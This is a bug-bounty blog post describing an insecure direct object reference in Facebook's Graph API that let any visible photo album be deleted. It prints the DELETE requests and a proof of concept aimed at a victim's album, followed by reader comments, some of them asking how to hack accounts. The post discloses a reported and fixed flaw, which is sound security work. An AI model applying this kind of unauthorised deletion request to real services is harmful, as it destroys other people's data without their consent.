What if your photos get deleted without your knowledge?
That would be pretty upsetting, wouldn’t it? This post is about a vulnerability I found that allowed malicious users to delete any photo album on Facebook. Any photo album owned by a user, a page, or a group could be deleted.
Graph API is the primary way for developers to read and write user data. All Facebook apps currently use Graph API. In general, Graph API requires an access token to read or write user data. Read more about Graph API here.
According to Facebook’s developer documentation, photo albums cannot be deleted using the album node in Graph API.
I tried to delete one of my photo albums using a Graph Explorer access token.
Request:
DELETE /518171421550249 HTTP/1.1
Host: graph.facebook.com
Content-Length: 245
access_token=CAACEd.....MUZD
Response:
{"error":{"message":"(#200) Application does not have the capability to make this API call.","type":"OAuthException","code":200}}
Why? Because this application doesn’t have the capability to delete photo albums. But we need to note the error message. It tells us that some application does have the capability to make this API call.
I decided to try it with a Facebook mobile access token because it is a top-level access token that has some extra permissions. Facebook mobile apps use the same Graph API, so I took an album ID and my Facebook for Android access token and tried it.
Request:
DELETE /518171421550249 HTTP/1.1
Host: graph.facebook.com
Content-Length: 245
access_token=<Facebook_for_Android_Access_Token>
Response:
true
Album (518171421550249) got deleted! So what’s the next step? I took a victim’s album ID and tried to verify if there is a insecure object reference vulnerability. I was very curious to see the result.
Request:
DELETE /518171421550249 HTTP/1.1
Host: graph.facebook.com
Content-Length: 245
access_token=<Facebook_for_Android_Access_Token>
Response:
true
OMG! To my surprise, the album got deleted! Confirming the presence of IDOR vulnerability. So what? I had access to delete all of your Facebook photos (photos that were public or that I could see)!
Also, see how hackers hack Facebook account and their prevention techniques.
I immediately reported this bug to the Facebook security team. They were very quick in identifying this issue and had a fix in place in less than 2 hours from acknowledging the report.
Read more about getting a Facebook for Android access token [Capture Android HTTP/HTTPS Traffic].
Final Proof of Concept:
Request:
DELETE /<Victim's_photo_album_id> HTTP/1.1
Host: graph.facebook.com
Content-Length: 245
access_token=<Your(Attacker)_Facebook_for_Android_Access_Token>
If you aren’t sure how to do it, please see this video [How I Hacked Your Public Facebook Photos] (replace this with the actual video link).
Acknowledgement of fix and reward of $12,500 USD for reporting this vulnerability.
This vulnerability is completely fixed now.
I thank the Facebook Security Team for running a bug bounty program and for quickly fixing this issue.
HALL OF FAME: https://www.facebook.com/whitehat/thanks
This article is available as PDF Download.
Nice, Congo man.
So it was your blog ah?
great..
So Great keep Hunting 🙂
congo man…keep it up..
Thank you 🙂
How do you get Facebook for Android access token?
Congratulations, you should have been hired by facebook
100
Great Job Bro,Keep up the good wok 🙂
Scary bug but good that it got fixed
Can you tell me the name of the chrome plugin please? I like the background on google
So cool. Great find Laxman!
Isn't there a zero missing from the bounty amount, for such a potentially disastrous bug?
Can you please name the Chrome plugin for web developers?
nice work!
Awsm job.
Congratulations and well done.
can you hack an account?
congratulations! great job
Vc e bom mesmo é fazer grande trabalho
Vc e bom mesmo é fazer grande trabalho
Great work, Keep it up.
Great work, Keep it up.
great work bro congrtas ! thanks you will great inspiration to upcoming students to find bugs and become whitehats ,
¿sabes como podría verificar mi página de facebook?
Better call Saul!
Very awesome! Do you have any other tutorials or tips on how to hack. I'm new to this topic but very curious, seems fun.
I was surprised my cover photo was mysteriously gone–from my personal profile and page. I suspected it was an error…Thanks for updating the Facebook team. #Peace
how did u send this bug to facebook???
there is an option called report problem if we send any message .they are not responding …
Great work …Congrats …
Great Discovery Bro, You inspire so many of us who want to do the same. Keep it up, Hope to Connect with you soon.
Which software did you use to intercept Facebook mobile's traffic? Fiddler or Wireshark maybe?
Hi! I'm an Uruguayan journalist and I'd like to ask you some questions. Can you tell me your e-mail? Thank you very much.
Great job dude..@keep it…
good luk
Awesome job bro…
I'm very happy hearing that there are some good whitehats in India also..
Congrats..
Can you suggest me some great free online learning place for web development???
But my albums are getting deleted as soon as I post them! Please help.
Excellent work, I would not want to quarrel with you;) Have you received an award from Facebook?
Waw so simple but so nice! It's incredible… I mean, of course you're really smart and this was a great hack bu everybody could do this in few hours without a huge knowledge! That's so surprinsing!
You also were able to delete posts and publish, Right?
Gajab
i hack bit can not delete 🙁
Luxman which subject do you studied in college?
How you get access token which never expires because mine is expires in one hour
Hello , I have this error: HOST: ……………….. PORT: ……………….
Hello.. M in a big problem and i hope i will get solution from this site..Actually my friends facebook profile has been hacked.. Somebody has created the public page with her name which contains all her pictures amd posts.. Everytime she posts or put pictures on her facebook page that public page also did the same..That page is not genuine and contains very bad comments in it..And the big problem is it contains my picture too..I want to know how to delete my picture from dat page beacuse i dont want it to remain there..Also how can we delete that page?? Please help me.. This is a big trouble for a girl..
Luxman nerede şimdi
Hello.. Ι ΑΜ in a big problem and i hope i will get solution from this site..Actually my friend's facebook profile has been hacked.. Somebody has created the public page with her name which contains all her pictures amd posts.. Everytime she posts or put pictures on her facebook page that public page also did the same..That page is not genuine and contains very bad comments in it..And the big problem is it contains my picture too..I want to know how to delete my picture from that page beacuse i dont want it to remain there..Also how can we delete that page?? Please help me…..
Virtually , you can use this method to delete any photo albums that belongs to a user who have registered to your facebook app , not any facebook user.
Nice find. Keep inspiring people. 🙂 I have one silly question, hope i will get the answer. I cannot understand how is it showing "facebook for android" with app id, in APP ID section on your access token page.
I actually created one facebook page long back and it is showing that page app id in the access token page.
My photos have been deleted like this… Please help me to get them back please
Hi,
I am new to bug bounty, can u tell me how did u intercept using burp suite, the Facebook does not allow me to use burp suite, it gives invalid certificate
Laxman great job. you did pretty good job. Just FYI next time if you have to test something and find hidden or not so easily traceable bugs I would suggest to use the following tool.
https://www.qualitestgroup.com/etl-data-warehouse-testing/
how to hack face book
Please help me hacked the FB account of the crab mentality people… Posting negative on me…thanks
plZ plz hake website